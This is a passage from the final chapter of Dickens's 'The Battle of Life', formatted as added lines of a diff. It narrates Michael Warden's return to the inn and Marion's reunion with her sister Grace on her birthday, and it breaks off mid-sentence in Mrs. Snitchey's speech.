+'Mansion' &c.--'offices,' &c., 'shrubberies,' &c., 'ring fence,'
+&c. 'Messrs. Snitchey and Craggs,' &c. 'ornamental portion of the
+unencumbered freehold property of Michael Warden, Esquire, intending to
+continue to reside abroad'!"
+
+"Intending to continue to reside abroad!" repeated Clemency.
+
+"Here it is," said Mr. Britain. "Look!"
+
+"And it was only this very day that I heard it whispered at the old
+house, that better and plainer news had been half promised of her,
+soon!" said Clemency, shaking her head sorrowfully, and patting her
+elbows as if the recollection of old times unconsciously awakened her
+old habits. "Dear, dear, dear! There'll be heavy hearts, Ben, yonder."
+
+Mr. Britain heaved a sigh, and shook his head, and said he couldn't make
+it out: he had left off trying long ago. With that remark, he applied
+himself to putting up the bill just inside the bar window: and Clemency,
+after meditating in silence for a few moments, roused herself, cleared
+her thoughtful brow, and bustled off to look after the children.
+
+Though the host of the Nutmeg Grater had a lively regard for his
+good-wife, it was of the old patronising kind; and she amused him
+mightily. Nothing would have astonished him so much, as to have known
+for certain from any third party, that it was she who managed the whole
+house, and made him, by her plain straightforward thrift, good-humour,
+honesty, and industry, a thriving man. So easy it is, in any degree of
+life, (as the world very often finds it,) to take those cheerful natures
+that never assert their merit, at their own modest valuation; and to
+conceive a flippant liking of people for their outward oddities and
+eccentricities, whose innate worth, if we would look so far, might make
+us blush in the comparison!
+
+It was comfortable to Mr. Britain, to think of his own condescension in
+having married Clemency. She was a perpetual testimony to him of the
+goodness of his heart, and the kindness of his disposition; and he felt
+that her being an excellent wife was an illustration of the old precept
+that virtue is its own reward.
+
+He had finished wafering up the bill, and had locked the vouchers for
+her day's proceedings in the cupboard--chuckling all the time, over her
+capacity for business--when, returning with the news that the two Master
+Britains were playing in the coach-house, under the superintendence of
+one Betsey, and that little Clem was sleeping "like a picture," she sat
+down to tea, which had awaited her arrival, on a little table. It was a
+very neat little bar, with the usual display of bottles and glasses; a
+sedate clock, right to the minute (it was half-past five); everything
+in its place, and everything furbished and polished up to the very
+utmost.
+
+"It's the first time I've sat down quietly to-day, I declare," said Mrs.
+Britain, taking a long breath, as if she had sat down for the night; but
+getting up again immediately to hand her husband his tea, and cut him
+his bread-and-butter; "how that bill does set me thinking of old times!"
+
+"Ah!" said Mr. Britain, handling his saucer like an oyster, and
+disposing of its contents on the same principle.
+
+"That same Mr. Michael Warden," said Clemency, shaking her head at the
+notice of sale, "lost me my old place."
+
+"And got you your husband," said Mr. Britain.
+
+"Well! So he did," retorted Clemency, "and many thanks to him."
+
+"Man's the creature of habit," said Mr. Britain, surveying her, over his
+saucer. "I had somehow got used to you, Clem; and I found I shouldn't be
+able to get on without you. So we went and got made man and wife. Ha,
+ha! We! Who'd have thought it!"
+
+"Who indeed!" cried Clemency. "It was very good of you, Ben."
+
+"No, no, no," replied Mr. Britain, with an air of self-denial. "Nothing
+worth mentioning."
+
+"Oh yes it was, Ben," said his wife, with great simplicity; "I'm sure I
+think so; and am very much obliged to you. Ah!" looking again at the
+bill; "when she was known to be gone, and out of reach, dear girl, I
+couldn't help telling--for her sake quite as much as theirs--what I
+knew, could I?"
+
+"You told it, any how," observed her husband.
+
+"And Doctor Jeddler," pursued Clemency, putting down her tea-cup, and
+looking thoughtfully at the bill, "in his grief and passion, turned me
+out of house and home! I never have been so glad of anything in all my
+life, as that I didn't say an angry word to him, and hadn't an angry
+feeling towards him, even then; for he repented that truly, afterwards.
+How often he has sat in this room, and told me over and over again, he
+was sorry for it!--the last time, only yesterday, when you were out. How
+often he has sat in this room, and talked to me, hour after hour, about
+one thing and another, in which he made believe to be interested!--but
+only for the sake of the days that are gone away, and because he knows
+she used to like me, Ben!"
+
+"Why, how did you ever come to catch a glimpse of that, Clem?" asked her
+husband: astonished that she should have a distinct perception of a
+truth which had only dimly suggested itself to his inquiring mind.
+
+"I don't know I'm sure," said Clemency, blowing her tea, to cool it.
+"Bless you, I couldn't tell you if you was to offer me a reward of a
+hundred pound."
+
+He might have pursued this metaphysical subject but for her catching a
+glimpse of a substantial fact behind him, in the shape of a gentleman
+attired in mourning, and cloaked and booted like a rider on horseback,
+who stood at the bar-door. He seemed attentive to their conversation,
+and not at all impatient to interrupt it.
+
+Clemency hastily rose at this sight. Mr. Britain also rose and saluted
+the guest. "Will you please to walk up stairs, Sir. There's a very nice
+room up stairs, Sir."
+
+"Thank you," said the stranger, looking earnestly at Mr. Britain's wife.
+"May I come in here?"
+
+"Oh, surely, if you like, Sir," returned Clemency, admitting him. "What
+would you please to want, Sir?"
+
+The bill had caught his eye, and he was reading it.
+
+"Excellent property that, Sir," observed Mr. Britain.
+
+He made no answer; but turning round, when he had finished reading,
+looked at Clemency with the same observant curiosity as before. "You
+were asking me," he said, still looking at her--
+
+"What you would please to take, Sir," answered Clemency, stealing a
+glance at him in return.
+
+"If you will let me have a draught of ale," he said, moving to a table
+by the window, "and will let me have it here, without being any
+interruption to your meal, I shall be much obliged to you."
+
+He sat down as he spoke, without any further parley, and looked out at
+the prospect. He was an easy well-knit figure of a man in the prime of
+life. His face, much browned by the sun, was shaded by a quantity of
+dark hair; and he wore a moustache. His beer being set before him, he
+filled out a glass, and drank, good-humouredly, to the house; adding, as
+he put the tumbler down again:
+
+"It's a new house, is it not?"
+
+"Not particularly new, Sir," replied Mr. Britain.
+
+"Between five and six years old," said Clemency: speaking very
+distinctly.
+
+"I think I heard you mention Doctor Jeddler's name, as I came in,"
+inquired the stranger. "That bill reminds me of him; for I happen to
+know something of that story, by hearsay, and through certain connexions
+of mine.--Is the old man living?"
+
+"Yes, he's living, Sir," said Clemency.
+
+"Much changed?"
+
+"Since when, Sir?" returned Clemency, with remarkable emphasis and
+expression.
+
+"Since his daughter--went away."
+
+"Yes! he's greatly changed since then," said Clemency. "He's grey and
+old, and hasn't the same way with him at all; but I think he's happy
+now. He has taken on with his sister since then, and goes to see her
+very often. That did him good, directly. At first, he was sadly broken
+down; and it was enough to make one's heart bleed, to see him wandering
+about, railing at the world; but a great change for the better came over
+him after a year or two, and then he began to like to talk about his
+lost daughter, and to praise her, ay and the world too! and was never
+tired of saying, with the tears in his poor eyes, how beautiful and good
+she was. He had forgiven her then. That was about the same time as Miss
+Grace's marriage. Britain, you remember?"
+
+Mr. Britain remembered very well.
+
+"The sister _is_ married then," returned the stranger. He paused for
+some time before he asked, "To whom?"
+
+Clemency narrowly escaped oversetting the tea-board, in her emotion at
+this question.
+
+"Did _you_ never hear?" she said.
+
+"I should like to hear," he replied, as he filled his glass again, and
+raised it to his lips.
+
+"Ah! It would be a long story, if it was properly told," said Clemency,
+resting her chin on the palm of her left hand, and supporting that elbow
+on her right hand, as she shook her head, and looked back through the
+intervening years, as if she were looking at a fire. "It would be a long
+story, I am sure."
+
+"But told as a short one," suggested the stranger.
+
+"Told as a short one," repeated Clemency in the same thoughtful tone,
+and without any apparent reference to him, or consciousness of having
+auditors, "what would there be to tell? That they grieved together, and
+remembered her together, like a person dead; that they were so tender of
+her, never would reproach her, called her back to one another as she
+used to be, and found excuses for her? Every one knows that. I'm sure
+_I_ do. No one better," added Clemency, wiping her eyes with her hand.
+
+"And so," suggested the stranger.
+
+"And so," said Clemency, taking him up mechanically, and without any
+change in her attitude or manner, "they at last were married. They were
+married on her birth-day--it comes round again to-morrow--very quiet,
+very humble like, but very happy. Mr. Alfred said, one night when they
+were walking in the orchard, 'Grace, shall our wedding-day be Marion's
+birth-day?' And it was."
+
+"And they have lived happily together?" said the stranger.
+
+"Ay," said Clemency. "No two people ever more so. They have had no
+sorrow but this."
+
+She raised her head as with a sudden attention to the circumstances
+under which she was recalling these events, and looked quickly at the
+stranger. Seeing that his face was turned towards the window, and that
+he seemed intent upon the prospect, she made some eager signs to her
+husband, and pointed to the bill, and moved her mouth as if she were
+repeating with great energy, one word or phrase to him over and over
+again. As she uttered no sound, and as her dumb motions like most of her
+gestures were of a very extraordinary kind, this unintelligible conduct
+reduced Mr. Britain to the confines of despair. He stared at the table,
+at the stranger, at the spoons, at his wife--followed her pantomime with
+looks of deep amazement and perplexity--asked in the same language, was
+it property in danger, was it he in danger, was it she--answered her
+signals with other signals expressive of the deepest distress and
+confusion--followed the motions of her lips--guessed half aloud "milk
+and water," "monthly warning," "mice and walnuts"--and couldn't approach
+her meaning.
+
+Clemency gave it up at last, as a hopeless attempt; and moving her chair
+by very slow degrees a little nearer to the stranger, sat with her eyes
+apparently cast down but glancing sharply at him now and then, waiting
+until he should ask some other question. She had not to wait long; for
+he said, presently,
+
+"And what is the after history of the young lady who went away? They
+know it, I suppose?"
+
+Clemency shook her head. "I've heard," she said, "that Doctor Jeddler is
+thought to know more of it than he tells. Miss Grace has had letters
+from her sister, saying that she was well and happy, and made much
+happier by her being married to Mr. Alfred: and has written letters
+back. But there's a mystery about her life and fortunes, altogether,
+which nothing has cleared up to this hour, and which--"
+
+She faltered here, and stopped.
+
+"And which--" repeated the stranger.
+
+"Which only one other person, I believe, could explain," said Clemency,
+drawing her breath quickly.
+
+"Who may that be?" asked the stranger.
+
+"Mr. Michael Warden!" answered Clemency, almost in a shriek: at once
+conveying to her husband what she would have had him understand before,
+and letting Michael Warden know that he was recognised.
+
+"You remember me, Sir," said Clemency, trembling with emotion; "I saw
+just now you did! You remember me, that night in the garden. I was with
+her!"
+
+"Yes. You were," he said.
+
+"Yes, Sir," returned Clemency. "Yes, to be sure. This is my husband, if
+you please. Ben, my dear Ben, run to Miss Grace--run to Mr. Alfred--run
+somewhere, Ben! Bring somebody here, directly!"
+
+"Stay!" said Michael Warden, quietly interposing himself between the
+door and Britain. "What would you do?"
+
+"Let them know that you are here, Sir," answered Clemency, clapping her
+hands in sheer agitation. "Let them know that they may hear of her, from
+your own lips; let them know that she is not quite lost to them, but
+that she will come home again yet, to bless her father and her loving
+sister--even her old servant, even me," she struck herself upon the
+breast with both hands, "with a sight of her sweet face. Run, Ben,
+run!" And still she pressed him on towards the door, and still Mr.
+Warden stood before it, with his hand stretched out, not angrily, but
+sorrowfully.
+
+"Or perhaps," said Clemency, running past her husband, and catching in
+her emotion at Mr. Warden's cloak, "perhaps she's here now; perhaps
+she's close by. I think from your manner she is. Let me see her, Sir, if
+you please. I waited on her when she was a little child. I saw her grow
+to be the pride of all this place. I knew her when she was Mr. Alfred's
+promised wife. I tried to warn her when you tempted her away. I know
+what her old home was when she was like the soul of it, and how it
+changed when she was gone and lost. Let me speak to her, if you please!"
+
+He gazed at her with compassion, not unmixed with wonder: but he made no
+gesture of assent.
+
+"I don't think she _can_ know," pursued Clemency, "how truly they
+forgive her; how they love her; what joy it would be to them, to see her
+once more. She may be timorous of going home. Perhaps if she sees me, it
+may give her new heart. Only tell me truly, Mr. Warden, is she with
+you?"
+
+"She is not," he answered, shaking his head.
+
+This answer, and his manner, and his black dress, and his coming back so
+quietly, and his announced intention of continuing to live abroad,
+explained it all. Marion was dead.
+
+He didn't contradict her; yes, she was dead! Clemency sat down, hid her
+face upon the table, and cried.
+
+At that moment, a grey-headed old gentleman came running in quite out of
+breath, and panting so much that his voice was scarcely to be recognised
+as the voice of Mr. Snitchey.
+
+"Good Heaven, Mr. Warden!" said the lawyer, taking him aside, "what wind
+has blown----" He was so blown himself, that he couldn't get on any
+further until after a pause, when he added, feebly, "you here?"
+
+"An ill wind, I am afraid," he answered. "If you could have heard what
+has just passed--how I have been besought and entreated to perform
+impossibilities--what confusion and affliction I carry with me!"
+
+"I can guess it all. But why did you ever come here, my good Sir?"
+retorted Snitchey.
+
+"Come! How should I know who kept the house? When I sent my servant on
+to you, I strolled in here because the place was new to me; and I had a
+natural curiosity in everything new and old, in these old scenes; and it
+was outside the town. I wanted to communicate with you first, before
+appearing there. I wanted to know what people would say to me. I see by
+your manner that you can tell me. If it were not for your confounded
+caution, I should have been possessed of everything long ago."
+
+"Our caution!" returned the lawyer. "Speaking for Self and
+Craggs--deceased," here Mr. Snitchey, glancing at his hat-band,
+shook his head, "how can you reasonably blame us, Mr. Warden? It was
+understood between us that the subject was never to be renewed, and
+that it wasn't a subject on which grave and sober men like us (I made
+a note of your observations at the time) could interfere? Our caution
+too! when Mr. Craggs, Sir, went down to his respected grave in the
+full belief----"
+
+"I had given a solemn promise of silence until I should return, whenever
+that might be," interrupted Mr. Warden; "and I have kept it."
+
+"Well, Sir, and I repeat it," returned Mr. Snitchey, "we were bound to
+silence too. We were bound to silence in our duty towards ourselves, and
+in our duty towards a variety of clients, you among them, who were as
+close as wax. It was not our place to make inquiries of you on such a
+delicate subject. I had my suspicions, Sir; but it is not six months
+since I have known the truth, and been assured that you lost her."
+
+"By whom?" inquired his client.
+
+"By Doctor Jeddler himself, Sir, who at last reposed that confidence in
+me voluntarily. He, and only he, has known the whole truth, years and
+years."
+
+"And you know it?" said his client.
+
+"I do, Sir!" replied Snitchey; "and I have also reason to know that it
+will be broken to her sister to-morrow evening. They have given her
+that promise. In the meantime, perhaps you'll give me the honor of your
+company at my house; being unexpected at your own. But, not to run the
+chance of any more such difficulties as you have had here, in case you
+should be recognised--though you're a good deal changed--I think I might
+have passed you myself, Mr. Warden--we had better dine here, and walk
+on in the evening. It's a very good place to dine at, Mr. Warden: your
+own property, by the bye. Self and Craggs (deceased) took a chop here
+sometimes, and had it very comfortably served. Mr. Craggs, Sir," said
+Snitchey, shutting his eyes tight for an instant, and opening them
+again, "was struck off the roll of life too soon."
+
+"Heaven forgive me for not condoling with you," returned Michael Warden,
+passing his hand across his forehead, "but I'm like a man in a dream at
+present. I seem to want my wits. Mr. Craggs--yes--I am very sorry we
+have lost Mr. Craggs." But he looked at Clemency as he said it, and
+seemed to sympathise with Ben, consoling her.
+
+"Mr. Craggs, Sir," observed Snitchey, "didn't find life, I regret to
+say, as easy to have and to hold as his theory made it out, or he would
+have been among us now. It's a great loss to me. He was my right arm, my
+right leg, my right ear, my right eye, was Mr. Craggs. I am paralytic
+without him. He bequeathed his share of the business to Mrs. Craggs, her
+executors, administrators, and assigns. His name remains in the Firm
+to this hour. I try, in a childish sort of a way, to make believe,
+sometimes, that he's alive. You may observe that I speak for Self and
+Craggs--deceased Sir--deceased," said the tender-hearted attorney,
+waving his pocket-handkerchief.
+
+Michael Warden, who had still been observant of Clemency, turned to Mr.
+Snitchey, when he ceased to speak, and whispered in his ear.
+
+"Ah, poor thing!" said Snitchey, shaking his head. "Yes. She was always
+very faithful to Marion. She was always very fond of her. Pretty Marion!
+Poor Marion! Cheer up, Mistress--you _are_ married now, you know,
+Clemency."
+
+Clemency only sighed, and shook her head.
+
+"Well, well! Wait 'till to-morrow," said the lawyer, kindly.
+
+"To-morrow can't bring back the dead to life, Mister," said Clemency,
+sobbing.
+
+"No. It can't do that, or it would bring back Mr. Craggs, deceased,"
+returned the lawyer. "But it may bring some soothing circumstances; it
+may bring some comfort. Wait 'till to-morrow!"
+
+So Clemency, shaking his proffered hand, said that she would; and
+Britain, who had been terribly cast down at sight of his despondent
+wife (which was like the business hanging its head), said that was
+right; and Mr. Snitchey and Michael Warden went up stairs; and there
+they were soon engaged in a conversation so cautiously conducted, that
+no murmur of it was audible above the clatter of plates and dishes, the
+hissing of the frying-pan, the bubbling of saucepans, the low monotonous
+waltzing of the Jack--with a dreadful click every now and then as
+if it had met with some mortal accident to its head, in a fit of
+giddiness--and all the other preparations in the kitchen, for their
+dinner.
+
+                 *       *       *       *       *
+
+To-morrow was a bright and peaceful day; and nowhere were the autumn
+tints more beautifully seen, than from the quiet orchard of the Doctor's
+house. The snows of many winter nights had melted from that ground, the
+withered leaves of many summer times had rustled there, since she had
+fled. The honey-suckle porch was green again, the trees cast bountiful
+and changing shadows on the grass, the landscape was as tranquil and
+serene as it had ever been; but where was she!
+
+Not there. Not there. She would have been a stranger sight in her old
+home now, even than that home had been at first, without her. But a lady
+sat in the familiar place, from whose heart she had never passed away;
+in whose true memory she lived, unchanging, youthful, radiant with all
+promise and all hope; in whose affection--and it was a mother's now:
+there was a cherished little daughter playing by her side--she had no
+rival, no successor; upon whose gentle lips her name was trembling then.
+
+The spirit of the lost girl looked out of those eyes. Those eyes of
+Grace, her sister, sitting with her husband in the orchard, on their
+wedding-day, and his and Marion's birth-day.
+
+He had not become a great man; he had not grown rich; he had not
+forgotten the scenes and friends of his youth: he had not fulfilled any
+one of the Doctor's old predictions. But in his useful, patient, unknown
+visiting of poor men's homes; and in his watching of sick beds; and
+in his daily knowledge of the gentleness and goodness flowering the
+bye-paths of the world, not to be trodden down beneath the heavy foot of
+poverty, but springing up, elastic, in its track, and making its way
+beautiful; he had better learned and proved, in each succeeding year,
+the truth of his old faith. The manner of his life, though quiet and
+remote, had shown him how often men still entertained angels, unawares,
+as in the olden time; and how the most unlikely forms--even some that
+were mean and ugly to the view, and poorly clad--became irradiated by
+the couch of sorrow, want, and pain, and changed to ministering spirits
+with a glory round their heads.
+
+He lived to better purpose on the altered battle-ground perhaps, than if
+he had contended restlessly in more ambitious lists; and he was happy
+with his wife, dear Grace.
+
+And Marion. Had _he_ forgotten her?
+
+"The time has flown, dear Grace," he said, "since then;" they had been
+talking of that night; "and yet it seems a long long while ago. We count
+by changes and events within us. Not by years."
+
+"Yet we have years to count by, too, since Marion was with us," returned
+Grace. "Six times, dear husband, counting to-night as one, we have sat
+here on her birth-day, and spoken together of that happy return, so
+eagerly expected and so long deferred. Ah when will it be! When will it
+be!"
+
+Her husband attentively observed her, as the tears collected in her
+eyes; and drawing nearer, said:
+
+"But Marion told you, in that farewell letter which she left for you
+upon your table, love, and which you read so often, that years must pass
+away before it _could_ be. Did she not?"
+
+She took a letter from her breast, and kissed it, and said "Yes."
+
+"That through those intervening years, however happy she might be, she
+would look forward to the time when you would meet again, and all would
+be made clear: and prayed you, trustfully and hopefully to do the same.
+The letter runs so, does it not, my dear?"
+
+"Yes, Alfred."
+
+"And every other letter she has written since?"
+
+"Except the last--some months ago--in which she spoke of you, and what
+you then knew, and what I was to learn to-night."
+
+He looked towards the sun, then fast declining, and said that the
+appointed time was sunset.
+
+"Alfred!" said Grace, laying her hand upon his shoulder earnestly,
+"there is something in this letter--this old letter, which you say I
+read so often--that I have never told you. But to-night, dear husband,
+with that sunset drawing near, and all our life seeming to soften and
+become hushed with the departing day, I cannot keep it secret."
+
+"What is it, love?"
+
+"When Marion went away, she wrote me, here, that you had once left her a
+sacred trust to me, and that now she left you, Alfred, such a trust in
+my hands: praying and beseeching me, as I loved her, and as I loved you,
+not to reject the affection she believed (she knew, she said) you would
+transfer to me when the new wound was healed, but to encourage and
+return it."
+
+"--And make me a proud, and happy man again, Grace. Did she say so?"
+
+"She meant, to make myself so blest and honored in your love," was his
+wife's answer, as he held her in his arms.
+
+"Hear me, my dear!" he said.--"No. Hear me so!"--and as he spoke, he
+gently laid the head she had raised, again upon his shoulder. "I know
+why I have never heard this passage in the letter, until now. I know why
+no trace of it ever shewed itself in any word or look of yours at that
+time. I know why Grace, although so true a friend to me, was hard to win
+to be my wife. And knowing it, my own! I know the priceless value of the
+heart I gird within my arms, and thank GOD for the rich possession!"
+
+She wept, but not for sorrow, as he pressed her to his heart. After a
+brief space, he looked down at the child, who was sitting at their feet,
+playing with a little basket of flowers, and bade her look how golden
+and how red the sun was.
+
+"Alfred," said Grace, raising her head quickly at these words. "The sun
+is going down. You have not forgotten what I am to know before it sets."
+
+"You are to know the truth of Marion's history, my love," he answered.
+
+"All the truth," she said, imploringly. "Nothing veiled from me, any
+more. That was the promise. Was it not?"
+
+"It was," he answered.
+
+"Before the sun went down on Marion's birth-day. And you see it, Alfred?
+It is sinking fast."
+
+He put his arm about her waist; and, looking steadily into her eyes,
+rejoined,
+
+"That truth is not reserved so long for me to tell, dear Grace. It is to
+come from other lips."
+
+"From other lips!" she faintly echoed.
+
+"Yes. I know your constant heart, I know how brave you are, I know that
+to you a word of preparation is enough. You have said, truly, that the
+time is come. It is. Tell me that you have present fortitude to bear a
+trial--a surprise--a shock: and the messenger is waiting at the gate."
+
+"What messenger?" she said. "And what intelligence does he bring?"
+
+"I am pledged," he answered her, preserving his steady look, "to say no
+more. Do you think you understand me?"
+
+"I am afraid to think," she said.
+
+There was that emotion in his face, despite its steady gaze, which
+frightened her. Again she hid her own face on his shoulder, trembling,
+and entreated him to pause--a moment.
+
+"Courage, my wife! When you have firmness to receive the messenger, the
+messenger is waiting at the gate. The sun is setting on Marion's
+birth-day. Courage, courage, Grace!"
+
+She raised her head, and, looking at him, told him she was ready. As she
+stood, and looked upon him going away, her face was so like Marion's as
+it had been in her later days at home, that it was wonderful to see. He
+took the child with him. She called her back--she bore the lost girl's
+name--and pressed her to her bosom. The little creature, being released
+again, sped after him, and Grace was left alone.
+
+She knew not what she dreaded, or what hoped; but remained there,
+motionless, looking at the porch by which they had disappeared.
+
+Ah! what was that, emerging from its shadow; standing on its threshold!
+that figure, with its white garments rustling in the evening air; its
+head laid down upon her father's breast, and pressed against it to his
+loving heart! Oh, God! was it a vision that came bursting from the old
+man's arms, and with a cry, and with a waving of its hands, and with a
+wild precipitation of itself upon her in its boundless love, sank down
+in her embrace!
+
+"Oh, Marion, Marion! Oh, my sister! Oh, my heart's dear love! Oh, joy
+and happiness unutterable, so to meet again!"
+
+It was no dream, no phantom conjured up by hope and fear, but Marion,
+sweet Marion! So beautiful, so happy, so unalloyed by care and trial, so
+elevated and exalted in her loveliness, that as the setting sun shone
+brightly on her upturned face, she might have been a spirit visiting the
+earth upon some healing mission.
+
+Clinging to her sister, who had dropped upon a seat, and bent down over
+her: and smiling through her tears, and kneeling close before her, with
+both arms twining round her, and never turning for an instant from her
+face: and with the glory of the setting sun upon her brow, and with the
+soft tranquillity of evening gathering around them: Marion at length
+broke silence; her voice, so calm, low, clear, and pleasant, well-tuned
+to the time.
+
+"When this was my dear home, Grace, as it will be now, again--"
+
+"Stay, my sweet love! A moment! Oh Marion, to hear you speak again."
+
+She could not bear the voice she loved so well, at first.
+
+"When this was my dear home, Grace, as it will be now, again, I loved
+him from my soul. I loved him most devotedly. I would have died for him,
+though I was so young. I never slighted his affection in my secret
+breast, for one brief instant. It was far beyond all price to me.
+Although it is so long ago, and past and gone, and everything is wholly
+changed, I could not bear to think that you, who love so well, should
+think I did not truly love him once. I never loved him better, Grace,
+than when he left this very scene upon this very day. I never loved him
+better, dear one, than I did that night when _I_ left here."
+
+Her sister, bending over her, could only look into her face, and hold
+her fast.
+
+"But he had gained, unconsciously," said Marion, with a gentle smile,
+"another heart, before I knew that I had one to give him. That
+heart--yours, my sister--was so yielded up, in all its other tenderness,
+to me; was so devoted, and so noble; that it plucked its love away,
+and kept its secret from all eyes but mine--Ah! what other eyes were
+quickened by such tenderness and gratitude!--and was content to
+sacrifice itself to me. But I knew something of its depths. I knew the
+struggle it had made. I knew its high, inestimable worth to him, and his
+appreciation of it, let him love me as he would. I knew the debt I owed
+it. I had its great example every day before me. What you had done for
+me, I knew that I could do, Grace, if I would, for you. I never laid my
+head down on my pillow, but I prayed with tears to do it. I never laid
+my head down on my pillow, but I thought of Alfred's own words, on the
+day of his departure, and how truly he had said (for I knew that, by
+you) that there were victories gained every day, in struggling hearts,
+to which these fields of battle were as nothing. Thinking more and more
+upon the great endurance cheerfully sustained, and never known or cared
+for, that there must be every day and hour, in that great strife of
+which he spoke, my trial seemed to grow light and easy: and He who knows
+our hearts, my dearest, at this moment, and who knows there is no drop
+of bitterness or grief--of anything but unmixed happiness--in mine,
+enabled me to make the resolution that I never would be Alfred's wife.
+That he should be my brother, and your husband, if the course I took
+could bring that happy end to pass; but that I never would (Grace, I
+then loved him dearly, dearly!) be his wife!"
+
+"Oh, Marion! oh, Marion!"
+
+"I had tried to seem indifferent to him;" and she pressed her sister's
+face against her own; "but that was hard, and you were always his true
+advocate. I had tried to tell you of my resolution, but you would never
+hear me; you would never understand me. The time was drawing near for
+his return. I felt that I must act, before the daily intercourse between
+us was renewed. I knew that one great pang, undergone at that time,
+would save a lengthened agony to all of us. I knew that if I went away
+then, that end must follow which _has_ followed, and which has made us
+both so happy, Grace! I wrote to good Aunt Martha, for a refuge in her
+house: I did not then tell her all, but something of my story, and she
+freely promised it. While I was contesting that step with myself, and
+with my love of you, and home, Mr. Warden, brought here by an accident,
+became, for some time, our companion."
+
+"I have sometimes feared of late years, that this might have been,"
+exclaimed her sister, and her countenance was ashy-pale. "You never
+loved him--and you married him in your self-sacrifice to me!"
+
+"He was then," said Marion, drawing her sister closer to her, "on the
+eve of going secretly away for a long time. He wrote to me, after
+leaving here; told me what his condition and prospects really were; and
+offered me his hand. He told me he had seen I was not happy in the
+prospect of Alfred's return. I believe he thought my heart had no part
+in that contract; perhaps thought I might have loved him once, and did
+not then; perhaps thought that when I tried to seem indifferent, I tried
+to hide indifference--I cannot tell. But I wished that you should feel
+me wholly lost to Alfred--hopeless to him--dead. Do you understand me,
+love?"
+
+Her sister looked into her face, attentively. She seemed in doubt.
+
+"I saw Mr. Warden, and confided in his honor; charged him with my
+secret, on the eve of his and my departure. He kept it. Do you
+understand me, dear?"
+
+Grace looked confusedly upon her. She scarcely seemed to hear.
+
+"My love, my sister!" said Marion, "recall your thoughts a moment:
+listen to me. Do not look so strangely on me. There are countries,
+dearest, where those who would abjure a misplaced passion, or would
+strive against some cherished feeling of their hearts and conquer it,
+retire into a hopeless solitude, and close the world against themselves
+and worldly loves and hopes for ever. When women do so, they assume that
+name which is so dear to you and me, and call each other Sisters. But
+there may be sisters, Grace, who, in the broad world out of doors, and
+underneath its free sky, and in its crowded places and among its busy
+life, and trying to assist and cheer it and to do some good,--learn the
+same lesson; and, with hearts still fresh and young, and open to all
+happiness and means of happiness, can say the battle is long past, the
+victory long won. And such a one am I! You understand me now?"
+
+Still she looked fixedly upon her, and made no reply.
+
+"Oh Grace, dear Grace," said Marion, clinging yet more tenderly and
+fondly to that breast from which she had been so long exiled, "if you
+were not a happy wife and mother--if I had no little namesake here--if
+Alfred, my kind brother, were not your own fond husband--from whence
+could I derive the ecstasy I feel to-night! But as I left here, so I
+have returned. My heart has known no other love, my hand has never been
+bestowed apart from it, I am still your maiden sister: unmarried,
+unbetrothed: your own old loving Marion, in whose affection you exist
+alone, and have no partner, Grace!"
+
+She understood her now. Her face relaxed; sobs came to her relief; and
+falling on her neck, she wept and wept, and fondled her as if she were a
+child again.
+
+When they were more composed, they found that the Doctor, and his sister
+good Aunt Martha, were standing near at hand, with Alfred.
+
+"This is a weary day for me," said good Aunt Martha, smiling through her
+tears, as she embraced her nieces; "for I lose my dear companion in
+making you all happy; and what can you give me in return for my Marion?"
+
+"A converted brother," said the Doctor.
+
+"That's something, to be sure," retorted Aunt Martha, "in such a farce
+as--"
+
+"No, pray don't," said the Doctor, penitently.
+
+"Well, I won't," replied Aunt Martha. "But I consider myself ill-used. I
+don't know what's to become of me without my Marion, after we have lived
+together half-a-dozen years."
+
+"You must come and live here, I suppose," replied the Doctor. "We
+sha'n't quarrel now, Martha."
+
+"Or get married, Aunt," said Alfred.
+
+"Indeed," returned the old lady, "I think it might be a good speculation
+if I were to set my cap at Michael Warden, who, I hear, is come home
+much the better for his absence, in all respects. But as I knew him when
+he was a boy, and I was not a very young woman then, perhaps he mightn't
+respond. So I'll make up my mind to go and live with Marion, when she
+marries, and until then (it will not be very long, I dare say) to live
+alone. What do _you_ say, Brother?"
+
+"I've a great mind to say it's a ridiculous world altogether, and
+there's nothing serious in it," observed the poor old Doctor.
+
+"You might take twenty affidavits of it if you chose, Anthony," said his
+sister; "but nobody would believe you with such eyes as those."
+
+"It's a world full of hearts," said the Doctor; hugging his younger
+daughter, and bending across her to hug Grace--for he couldn't separate
+the sisters; "and a serious world, with all its folly--even with mine,
+which was enough to have swamped the whole globe; and a world on which
+the sun never rises, but it looks upon a thousand bloodless battles that
+are some set-off against the miseries and wickedness of Battle-Fields;
+and a world we need be careful how we libel, Heaven forgive us, for it
+is a world of sacred mysteries, and its Creator only knows what lies
+beneath the surface of His lightest image!"
+
+You would not be the better pleased with my rude pen, if it dissected
+and laid open to your view the transports of this family, long severed
+and now reunited. Therefore, I will not follow the poor Doctor through
+his humbled recollection of the sorrow he had had, when Marion was lost
+to him; nor will I tell how serious he had found that world to be, in
+which some love deep-anchored, is the portion of all human creatures;
+nor how such a trifle as the absence of one little unit in the great
+absurd account, had stricken him to the ground. Nor how, in compassion
+for his distress, his sister had, long ago, revealed the truth to him,
+by slow degrees; and brought him to the knowledge of the heart of his
+self-banished daughter, and to that daughter's side.
+
+Nor how Alfred Heathfield had been told the truth, too, in the course of
+that then current year; and Marion had seen him, and had promised him,
+as her brother, that on her birth-day, in the evening, Grace should know
+it from her lips at last.
+
+"I beg your pardon, Doctor," said Mr. Snitchey, looking into the
+orchard, "but have I liberty to come in?"
+
+Without waiting for permission, he came straight to Marion, and kissed
+her hand, quite joyfully.
+
+"If Mr. Craggs had been alive, my dear Miss Marion," said Mr. Snitchey,
+"he would have had great interest in this occasion. It might have
+suggested to him, Mr. Alfred, that our life is not too easy, perhaps;
+that, taken altogether, it will bear any little smoothing we can give
+it; but Mr. Craggs was a man who could endure to be convinced, Sir. He
+was always open to conviction. If he were open to conviction now,
+I--this is weakness. Mrs. Snitchey, my dear,"--at his summons that lady
+appeared from behind the door, "you are among old friends."
+
+Mrs. Snitchey having delivered her congratulations, took her husband
+aside.
+
+"One moment, Mr. Snitchey," said that lady. "It is not in my nature to
+rake up the ashes of the departed."
+
+"No my dear," returned her husband.
+
+"Mr. Craggs is--"
+
+"Yes, my dear, he is deceased," said Mr. Snitchey.
+
+"But I ask you if you recollect," pursued his wife, "that evening of
+the ball. I only ask you that. If you do; and if your memory has not
+entirely failed you, Mr. Snitchey; and if you are not absolutely in your
+dotage; I ask you to connect this time with that--to remember how I
+begged and prayed you, on my knees--"
+
+"Upon your knees, my dear?" said Mr. Snitchey.
+
+"Yes," said Mrs. Snitchey, confidently, "and you know it--to beware of
